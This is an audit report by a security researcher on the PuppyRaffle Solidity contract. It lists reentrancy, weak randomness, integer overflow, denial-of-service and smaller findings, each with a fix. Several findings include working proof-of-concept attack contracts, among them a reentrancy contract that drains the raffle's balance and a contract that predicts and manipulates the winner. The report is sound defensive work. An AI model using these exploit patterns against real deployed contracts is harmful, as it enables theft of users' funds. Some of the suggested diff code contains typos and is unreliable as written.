h3xmora

PuppyRaffle Audit Report

Version 1.0

h3xmora

May 18, 2025

Puppy Raffle Audit Report

H3xmora

May 18, 2025

Puppy Raffle Audit Report

Prepared by: H3xmora

Table of Contents

    * [H-2] Weak randomness in `PuppyRaffle::selectWinner` allows users to influence or predict the winner and influence or predict the winning puppy
    * [H-3] Integer overflow of `PuppyRaffle::totalFees` loses fees
  - Medium
    * [M-1] Looping through players array to check for duplicates in `PuppyRaffle::enterRaffle` is a potential denial of service (DoS) attack, incrementing gas costs for future entrants
    * [M-2] Smart contract wallets of raffle winners without a `receive` or a `fallback` function will block the start of a new contest
  - Low
    * [L-1] `PuppyRaffle::getActivePlayerIndex` return 0 for non-existent players and for players at index 0, causing a player at index 0 to incorrectly think they have not entered the raffle
  - Gas
    * [G-1] Unchanged state variables should be declared constant or immutable
    * [G-2] Storage variables in a loop should be cached
  - Informational/Non-Critical
    * [I-1] Solidity pragma should be specific, not wide
    * [I-2] Using an outdated version of Solidity is not recommended
    * [I-3] Missing checks for `address(0)` when assigning values to address state variables
    * [I-4] `PuppyRaffle::selectWinner` does not follow CEI, which is not a best practice
    * [I-5] Use of âĂIJmagicâĂİ numbers is discouraged
    * [I-6] State changes are missing events
    * [I-7] `PuppyRaffle::_isActivePlayer` is never used and should be removed

About H3xmora

Web3 security researcher transitioning from traditional cybersecurity and CTFs into smart contract auditing. Currently focused on deepening my skills in Solidity, Foundry, and EVM-level reasoning. I treat every contest as both a challenge and a learning ground, this report reflects my hands-on effort to move from studying vulnerabilities to actively spotting them in real code.

Disclaimer

H3xmora makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by them is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

H3xmora uses the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

The findings described in this document correspond to the following commit hash:

```
2a47715b30cf11ca82db148704e67652ad679cd8
```

Scope

```
.src/
--- PuppyRaffle.sol
```

Protocol Summary

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

1. Call the `enterRaffle` function with the following parameters:
    1. `address[] participants`: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.
2. Duplicate addresses are not allowed
3. Users are allowed to get a refund of their ticket & `value` if they call the `refund` function
4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
5. The owner of the protocol will set a feeAddress to take a cut of the `value`, and the rest of the funds will be sent to the winner of the puppy.

Roles

- Owner: The only one who can change the `feeAddress`, denominated by the `_owner` variable.
- Fee User: The user who takes a cut of raffle entrance fees. Denominated by the `feeAddress` variable.
- Raffle Entrant: Anyone who enters the raffle. Denominated by being in the `players` array.

Executive Summary

Issues found

Severity	Number of issues found
High	3
Medium	2
Low	1
Info	7
Gas Optimizations	2
Total	15

Findings

High

[H-1] Reentrancy attack in `PuppyRaffle::refund` allows entrant to drain raffle balance

Description: The `PuppyRaffle::refund` function does not follow CEI (Checks, Effects, Interactions) and as a result, enables participants to drain the contract balance.

In the `PuppyRaffle::refund` function, we first make an external call to the `msg.sender` address and only after making that external call do we update the `PuppyRaffle::players` array.

```
function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the
            player can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player
            already refunded, or is not active");

@>      payable(msg.sender).sendValue(entranceFee);
@>      players[playerIndex] = address(0);

        emit RaffleRefunded(playerAddress);
    }
```

A player who has entered the raffle could have a `fallback`/`receive` function that calls the `PuppyRaffle::refund` function again and claim another refund. They could continue the cycle till the contract balance is drained.

Impact: All fees paid by raffle entrants could be stolen by the malicious participant.

Proof of Concept:

1. User enters the raffle
2. Attacker sets up a contract with a `fallback` function that calls `PuppyRaffle::refund`
3. Attacker enters the raffle
4. Attacker calls `PuppyRaffle::refund` from their attack contract, draining the contract balance.

Proof of Code

Code

Place the following into `PuppyRaffleTest.t.sol`

```

function testReentrancy() public{
        address[] memory players = new address[](4);
        players[0] = playerOne;
        players[1] = playerTwo;
        players[2] = playerThree;
        players[3] = playerFour;
        puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

        ReentrancyAttack attackContract = new ReentrancyAttack(puppyRaffle);
        address attackerAddress = makeAddr("attackerAddress");
        vm.deal(attackerAddress, 1 ether);

        uint256 startingAttackContractBalance = address(attackContract).balance;
        uint256 startingContractBalance = address(puppyRaffle).balance;

        //attack
        vm.prank(attackerAddress);
        attackContract.attack{value: entranceFee}();

        uint256 endingAttackContractBalance = address(attackContract).balance;
        uint256 endingContractBalance = address(puppyRaffle).balance;

        console.log("Attack Contract Initial balance: ", startingAttackContractBalance);
        console.log("Attack Contract Ending balance: ", endingAttackContractBalance);
        console.log("Puppy Raffle Initial balance: ", startingContractBalance);
        console.log("Puppy Raffle Ending balance: ", endingContractBalance);
    }
```

And this contract as well.

```

contract ReentrancyAttack {

    PuppyRaffle puppyRaffle;
    uint256 entranceFee;
    uint256 attackerIndex;

    constructor(PuppyRaffle _puppyRaffle){
        puppyRaffle = _puppyRaffle;
        entranceFee = puppyRaffle.entranceFee();
    }

    function attack() external payable{

        address[] memory players = new address[](1);
        players[0] = address(this);
        puppyRaffle.enterRaffle{value: entranceFee}(players);
        attackerIndex = puppyRaffle.getActivePlayerIndex(address(this));
        puppyRaffle.refund(attackerIndex);
    }

    function _stealMoney() internal{

        if(address(puppyRaffle).balance >= entranceFee){
            puppyRaffle.refund(attackerIndex);
        }

    }

    fallback() external payable{
        _stealMoney();
    }

    receive() external payable{
        _stealMoney();
    }

}
```

Recommended Mitigation: To prevent this, we should have the `PuppyRaffle::refund` function update the `players` array before making the external call. Additionally, we should move the event emission up as well.

```
function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
+       players[playerIndex] = address(0);
+       emit RaffleRefunded(playerAddress);

        payable(msg.sender).sendValue(entranceFee);
-       players[playerIndex] = address(0);
-       emit RaffleRefunded(playerAddress);
    }
```

Alternatively, you could use [OpenZeppelinâĂŹs `ReentrancyGuard` library] (https://docs.openzeppelin.com/contrac nonReentrantâĂŞ).

[H-2] Weak randomness in `PuppyRaffle::selectWinner` allows users to influence or predict the winner and influence or predict the winning puppy

Description: Hashing `msg.sender`, `block.timestamp`, and `block.difficulty` together creates a predictable final number. A predictable number is not a good random number. Malicious users can manipulate these values or know them ahead of time to choose the winner of the raffle themselves.

Note: This means users could fornt-run this function and call `refund` if they are not the winner.

Impact: Any user can influence the winner of the raffle, winning the money and selecting the `rarest` puppy. Making the entire raffle worthless if it becomes a gas war as to who wins the raffles.

Proof of Concept:

1. Validators can know ahead of time the `block.timestamp` and `block.difficulty` and use that to predict when/how to pariticipate. See the solidity blog on prevrando. `block.difficulty` was recently replaced with prevrando.
2. User can mine/manipulate their `msg.sender` value to result in their address being used to generate the winner.
3. Users can revert their `selectWinner` transaction if they donâĂŹt like the winner or resulting puppy.

Proof of Code

Code

Place the following in `PuppyRaffleTest.t.sol`

```
function testWeakRNG() public {
    PuppyRaffle puppyRaffle = new PuppyRaffle(
        entranceFee,
        feeAddress,
        duration
    );

    address[] memory players = new address[](7);
    players[0] = playerOne;
    players[1] = playerTwo;
    players[2] = playerThree;
    players[3] = playerFour;
    players[4] = playerFive;
    players[5] = playerSix;
    players[6] = playerSeven;

    // Simulate 4 players entering the raffle
    puppyRaffle.enterRaffle{value: entranceFee * 7}(players);

    // Deploy the attacker contract
    WeakRNGAttack attackContract = new WeakRNGAttack(puppyRaffle, players.length + 1);
    address attackerEOA = makeAddr("attacker");
    vm.deal(attackerEOA, 1 ether);

    // Attacker enters as last player
    vm.prank(attackerEOA);
    attackContract.enter{value: entranceFee}();
    console.log("Attacker balance after joining the Raffle (-1 ether)", address(attackContract).balance);

    // Predict the outcome
    vm.prank(attackerEOA);
    attackContract.attack();


     if (puppyRaffle.previousWinner() == address(attackContract)) {
        console.log("Attacker won the raffle!");
        assertEq(puppyRaffle.ownerOf(attackContract.receivedTokenId()), address(attackContract));
        uint256 rarity = puppyRaffle.tokenIdToRarity(attackContract.receivedTokenId());
        console.log(" NFT rarity:", rarity);
     }
     else {
        uint256 refunded = address(attackContract).balance;
        console.log("Attacker called Refund:", refunded);
     }

 }
```

And this contract as well.

```
contract WeakRNGAttack is Test {
   PuppyRaffle public puppyRaffle;
   uint256 public attackerIndex;
   uint256 public entranceFee;
   uint256 public raffleDuration;
   uint256 public playersLength;
   uint256 public receivedTokenId;


   constructor(PuppyRaffle _puppyRaffle, uint256 _playersLength) {
       puppyRaffle = _puppyRaffle;
       entranceFee = puppyRaffle.entranceFee();
       raffleDuration = puppyRaffle.raffleDuration();
       playersLength = _playersLength;
   }

   function hashOutput() public view returns (uint256) {
       return uint256(keccak256(abi.encodePacked(
           address(this),
           block.timestamp,
           block.difficulty
       ))) % playersLength;
   }

   function enter() external payable {
       address[] memory players = new address[](1);
       players[0] = address(this);
       puppyRaffle.enterRaffle{value: entranceFee}(players);
       attackerIndex = puppyRaffle.getActivePlayerIndex(address(this));
   }

   function attack() public {

           vm.warp(block.timestamp + raffleDuration + 1);
           vm.roll(block.number + 1);
           uint256 prediction = hashOutput();
           console.log("Prediction", prediction, " AttackerIndex:", attackerIndex);

           if (prediction == attackerIndex) {
               puppyRaffle.selectWinner();
           }
           else {
               puppyRaffle.refund(attackerIndex);
           }
       //}
   }

   fallback() external payable {
       // This function is intentionally left empty
   }
   receive() external payable {
       // This function is intentionally left empty
   }

    // Enables NFT receipt + logs tokenId
   function onERC721Received(
       address,
       address,
       uint256 tokenId,
       bytes calldata
   ) external returns (bytes4) {
       receivedTokenId = tokenId;
       console.log("Received NFT with tokenId:", tokenId);
       return this.onERC721Received.selector;
   }
}
```

Recommended Mitigation: Consider using a cryptographically provable random number generator such as Chainlink VRF. (https://docs.chain.link/vrf)

[H-3] Integer overflow of `PuppyRaffle::totalFees` loses fees

Description: In solidity verisons prior to `0.8.0` integers were subject to integer overlows.

```
uint64 myVar = type(uint64).max
// 18446744073709551615
myVar = myVar + 1
// myVar will be 0
```

Impact: In `PuppyRaffle::selectWinner`, `totalFees` are accumulated for the `feeAddress` to collect later in `PuppyRaffle::withdrawFees`. However, if the `totalFees` variable overflows, the `feeAddress` may not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept: 1. We conclude a raffle of 4 players 2. We then have 92 players enter a new raffle, and conclude the raffle 3. `totalFees` will be: `javascript totalFees = totalFees + uint64(fees); //aka totalFees = 800000000000000000 + 18400000000000000000; // and this will overflow! totalFees = 753255926290448384`

4. you will not be able to withdraw, due to the line in `PuppyRaffle::withdrawFees`:

   ```
   require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");
   ```

Although you could use `selfdestruct` to send ETH to this contract in order for the values to match and withdraw the fees, this is clearly not the intended design of the protocol. At some point, there will be too much `balance` in the contract that the above `require` will be impossible to hit.

Code

```
function testUnsafeCastingPoC() public{
        // A few players enter
        address[] memory players = new address[](4);
        players[0] = playerOne;
        players[1] = playerTwo;
        players[2] = playerThree;
        players[3] = playerFour;
        puppyRaffle.enterRaffle{value: entranceFee * players.length}(
            players);

        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);
```

```

        // select a winner
        puppyRaffle.selectWinner();
        uint64 totalFeeAfterFirstBatch = puppyRaffle.totalFees();
        console.log("Total fee benifited from first batch: ", totalFeeAfterFirstBatch);

        // another 92 players enter
        address[] memory players2 = new address[](92);
        for(uint256 i=0; i < players2.length; i++){
            players2[i] = (address(i + 5));
        }

        puppyRaffle.enterRaffle{value: entranceFee * players2.length}(players2);
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);

        puppyRaffle.selectWinner();

        uint64 totalFeeAfterBatchTwo = puppyRaffle.totalFees();
        console.log("Total fee benifited from second batch: ", totalFeeAfterBatchTwo);


        // it should be 0.8 + 18.4 = 19.2
        uint256 expectedPuppyRaffleBalance = ((entranceFee * 4) * 20 / 100) + ((entranceFee * 92) * 20 / 100);

        assertTrue(totalFeeAfterBatchTwo != expectedPuppyRaffleBalance);

        // we also cannot withdraw because of the withdraw check
        vm.prank(puppyRaffle.feeAddress());
        vm.expectRevert("PuppyRaffle: There are currently players active!");
        puppyRaffle.withdrawFees();

    }
```

Recommended Mitigation: There are a few possible mitigations.

1. Use a newer version of solidity, and a `uint256` instad of `uint64` for `PuppyRaffle::totalFees`
2. You could also use the `SafeMath` library of OpenZepplin fro version 0.7.6 of solidity, However you would stil have a hard time with the `uint64` type if too many fees are collected.
3. Remove the balance check from `PuppyRaffle::withdrawFees`

```
-  require(address(this).balance == uint256(totalFees), "PuppyRaffle:
        There are currently players active!");
```

There are more attack vectors with that final require, so we recommend removing it regardless.

Medium

[M-1] Looping through players array to check for duplicates in `PuppyRaffle::enterRaffle` is a potential denial of service (DoS) attack, incrementing gas costs for future entrants

Description: The `PuppyRaffle::enterRaffle` function loops through the `players` array to check for duplicated. However, the longer the `PuppyRaffle::players` array is, the more checks a new player will have to make. This means the gas costs for players who enter right when the raffle starts will be dramatically lower than those who enter later. Every additional address in the `players` array, is an additional check the loop will have to make.

```
@>          for (uint256 i = 0; i < players.length - 1; i++) {
                for (uint256 j = i + 1; j < players.length; j++) {
                    require(players[i] != players[j], "PuppyRaffle:
                        Duplicate player");
                }
            }
```

Impact: The gas costs for raffle entrants will greatly increase as more players enter the raffle. Discouraging later users from entering, and causing a rush at the start of a raffle to be one of the first entrants in a queue.

An attacker might make the `PuppyRaffle::entrants` array so big, that no one else enters, guarenteeing themselves the win.

Proof of Concept:

If we have 2 sets of 100 players enter, the gas costs will be as such: - 1st 100 players: ~6252048 - 2nd 100 players: ~18068138

This is more than 3x more expensive for the second 100 players.

code

Place the following test into `PuppyRaffleTest.t.sol`.

```
function testDenialOfService() public{
            vm.txGasPrice(1);

            // first batch of 100 players
            uint256 numPlayers = 100;
            address[] memory players = new address[](numPlayers);
            for(uint256 i=0; i < numPlayers; i++){
               players[i] = address(i);
            }
            uint256 gasStart = gasleft();
            puppyRaffle.enterRaffle{value: entranceFee * players.length}(players);
            uint256 gasEnd = gasleft();
            uint256 gasUsed = (gasStart - gasEnd) * tx.gasprice;
            console.log("Gas used: ", gasUsed);

            //second batch of 100 players
            address[] memory players2 = new address[](numPlayers);

            for(uint256 i=0; i < numPlayers; i++){
                players2[i] = address(i + numPlayers); // 0, 1, 2 => 100, 101, 102
            }

            uint256 gasStart2 = gasleft();
            puppyRaffle.enterRaffle{value: entranceFee * players2.length}(players2);
            uint256 gasEnd2 = gasleft();
            uint256 gasUsed2 = (gasStart2 - gasEnd2) * tx.gasprice;
            console.log("Gas used: ", gasUsed2);

            assert(gasUsed < gasUsed2);

        }
```

Recommended Mitigation: There are a few recommendations.

1. Consider allowing duplicates. Users can make new wallet addresses anyways, so a duplicate check does not prevent the same person from entering multiple times, only the same wallet address.
2. Consider using a mapping to check for duplicates. This would allow constant time lookup of whether a user has already entered.

2nd recommendation

```

+   mapping(address => uint256) public adddressToRaffleId;
+   uint256 public raffleId = 0;

    function enterRaffle(address[] memory newPlayers) public payable {
        require(msg.value == entranceFee * newPlayers.length, "PuppyRaffle: Must send enough to enter raffle");
        for (uint256 i = 0; i < newPlayers.length; i++) {
            players.push(newPlayers[i]);
+           addressToRaffleId[newPlayer[i]] = raffleId;
        }

-        //check for duplicates
+        //check for duplicates only from the new players
+        for(uint256 i = 0; i < newPlayers.length; i++){
+            require(addressToRaffleId[newPlayers[i]] != raffleId, "PuppyRaffle: Duplicate player");
+        }

-        for (uint256 i = 0; i < players.length - 1; i++) {
-            for (uint256 j = i + 1; j < players.length; j++) {
-                require(players[i] != players[j], "PuppyRaffle: Duplicate player");
-            }
-        }
          emit RaffleEnter(newPlayers);
    }

        function selectWinner() external {
+           raffleId = raffleId + 1;
          require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle: Raffle not over");

        }
```

Alternatively, you could use [OpenZeppelinâĂŹs `EnumerableSet` library] (https://docs.openzeppelin.com/contracts/

[M-2] Smart contract wallets of raffle winners without a `receive` or a `fallback` function will block the start of a new contest

Description: The `PuppyRaffle::selectWinner` function is responsible for resetting the lottery. However if the winner is a smart contract wallet that rejects payment, the loterry would not be able to restart.

Users could easily call the `selectWinner` function again and non-wallet entrants could enter, but it could cost a lot due to the duplicate check and a lottery reset could get very challenging.

Impact: The `PuppyRaffle::selectWinner` functions could revert many times, making a lottery reset difficult.

Also, true winners would not get paid out and someone else could take their money!

Proof of Concept:

1. 10 smart contract wallets enter the lottery without a fallback or receive function.
2. The lottery ends
3. The `selectWinner` function would not work, even though the lottery is over

Recommended Mitigation: There are a few options to mitigate this issue.

1. Do not allow smart contract wallet entrants (not recommended)
2. Create a mapping of addresses -> payout so winners can pull their funds out themselves with a new `claimPrize` function, putting the owness on the winner to claim their prize. (recommended)

> Pull over Push

Low

[L-1] `PuppyRaffle::getActivePlayerIndex` return 0 for non-existent players and for players at index 0, causing a player at index 0 to incorrectly think they have not entered the raffle

Description: If a player is in the `PuppyRaffle::players` array at index 0, this will return 0, but according to the natspec, it will also return 0 if the player is not in the array.

```
function getActivePlayerIndex(address player) external view returns (uint256) {
        for (uint256 i = 0; i < players.length; i++) {
            if (players[i] == player) {
                return i;
            }
        }
        return 0;
    }
```

Impact: A player at index 0 may incorrectly think they have not entered the raffle, and attempt to enter the raffle again, wasting gas.

Proof of Concept:

1. User enters the raffle, they are the first entrant
2. `PuppyRaffle::getActivePlayerIndex` returns 0
3. User thinks they have not entered correctly due to the function documentation

Recommended Mitigation: The easiest recommendation would be to revert if the player is not in the array instead of returning 0.

You could also reverse the 0th position for any competition, but a better solution might be to return an `int256` where the funtion returns -1 if the player is not active.

Gas

[G-1] Unchanged state variables should be declared constant or immutable

Reading from storage is much more expensive than reading from constants or immutables. If a state variable is never changed after it is initialized, consider declaring it as `constant` or `immutable`.

Instances: - `PuppyRaffle::raffleDuration` should be `immutable` - `PuppyRaffle::commonImageUri` should be `constant` - `PuppyRaffle::rareImageUri` should be `constant` - `PuppyRaffle::legendaryImageUri` should be `constant`

[G-2] Storage variables in a loop should be cached

Everytime you call `players.length` you read from storage. as opposed to memory which is more gas efficient.

```
+        uint256 playersLength = players.length;
-        for (uint256 i = 0; i < players.length - 1; i++) {
+        for (uint256 i= 0; i < playersLength - 1; i++) {
-            for (uint256 j = i + 1; j < players.length; j++) {
+            for (uint256 j = i + 1; j < playersLength; j++) {
               require(players[i] != players[j], "PuppyRaffle: Duplicate player");
           }
       }
```

Informational/Non-Critical

[I-1] Solidity pragma should be specific, not wide

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

- Found in src/PuppyRaffle.sol Line: 2

```
pragma solidity ^0.7.6;
```

[I-2] Using an outdated version of Solidity is not recommended

solc frequently releases new versions of the compiler with bug fixes and optimizations. Using an outdated version may expose your code to known vulnerabilities or inefficiencies.

Recommendation: Deploy with a recent version of Solidity (at least 0.8.0) with no known severe issues.

Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

Please see [slither] https://github.com/crytic/slither/wiki/Detector-Documentation#incorrect-versions-of-solidity documentation for more information.

[I-3] Missing checks for `address(0)` when assigning values to address state variables

Check for `address(0)` when assigning values to address state variables.

2 Found Instances

- Found in src/PuppyRaffle.sol Line: 70

```
        feeAddress = _feeAddress;
```

- Found in src/PuppyRaffle.sol Line: 202

```
        feeAddress = newFeeAddress;
```

[I-4] `PuppyRaffle::selectWinner` does not follow CEI, which is not a best practice

It is best to keep code clean and follow CEI (Checks, Effects, Interactions).

```
-        (bool success,) = winner.call{value: prizePool}("");
-        require(success, "PuppyRaffle: Failed to send prize pool to winner");
         _safeMint(winner, tokenId);
+        (bool success,) = winner.call{value: prizePool}("");
+        require(success, "PuppyRaffle: Failed to send prize pool to winner");
```

[I-5] Use of âĂIJmagicâĂİ numbers is discouraged

It can be confusing to see number literals in a codebase, and it is much more readable if the numbers are given a name.

Examples:

```
        uint256 prizePool = (totalAmountCollected * 80) / 100;
        uint256 fee = (totalAmountCollected * 20) / 100;
```

Instead, you could use:

```
        uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
        uint256 public constant FEE_PERCENTAGE = 20;
        uint256 public constant POOL_PRECISION = 100;
```

[I-6] State changes are missing events

[I-7] `PuppyRaffle::_isActivePlayer` is never used and should be removed

Description: The function `PuppyRaffle::_isActivePlayer` is never used and should be removed.

```
-    function _isActivePlayer() internal view returns (bool) {
-        for (uint256 i = 0; i < players.length; i++) {
-            if (players[i] == msg.sender) {
-                return true;
-            }
-        }
-        return false;
-    }
```